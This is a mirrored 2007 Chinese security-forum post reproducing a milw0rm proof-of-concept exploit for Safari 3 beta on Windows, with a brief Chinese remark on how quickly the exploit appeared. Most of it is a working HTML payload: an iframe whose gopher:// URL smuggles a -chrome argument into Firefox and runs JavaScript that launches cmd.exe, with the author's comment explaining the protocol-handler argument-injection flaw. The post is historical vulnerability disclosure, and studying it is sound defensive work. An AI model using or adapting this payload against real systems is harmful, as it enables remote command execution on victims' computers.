返回信息流中午看新闻说Apple刚发布了针对windows平台的浏览器,并鼓吹是功能最强大的,
没想到晚上就出exploit了
<!--
Safari for Windows, 0day exploit in 2 hours
http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/
By Thor Larholm
The below PoC exploit will exploit Safari by bouncing through Firefox
via the Gopher protocol, passing on unfiltered input for the -chrome
argument that Firefox exposes. When it has done this it will launch
C:\Windows\System32\cmd.exe with any arguments that have been specified
in the call to the process.run method.
It is important to know that, even though this PoC exploit uses Firefox,
the actual vulnerability is within the lack of input validation for the
command line arguments handed to the various URL protocol handlers on
your machine. As such, there are a lot of different attack vectors for
this vulnerability, I simply chose Firefox and the Gopher URL protocol
because I was familiar with these.
I hope you enjoyed the fruits of my 2 hours of labour. Please feel free
to add my RSS feed to your reader and come back again tomorrow or next
week for a fresh batch of 0day vulnerabilities :)
Cheers Thor Larholm
-->
<html><body>
<iframe src='gopher://larholm.com" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true,{},0);alert(process)'></iframe>process.init(file);process.run(true,{},0);alert(process)
</body></html>
# milw0rm.com [2007-06-12]
这是一条镜像帖。来源:北邮人论坛 / security / #11833同步于 2007/6/12
该镜像源已超过 30 天没有更新,可能在源站已被删除。
Security机器人发帖
Safari 3 for Windows Beta Remote Command Execution Poc
flyingkisser
2007/6/12镜像同步0 回复
订阅后,新回复会通过你的通知中心匿名送达。
0 条回复
暂无回复 · 你可以订阅本帖等待新回复。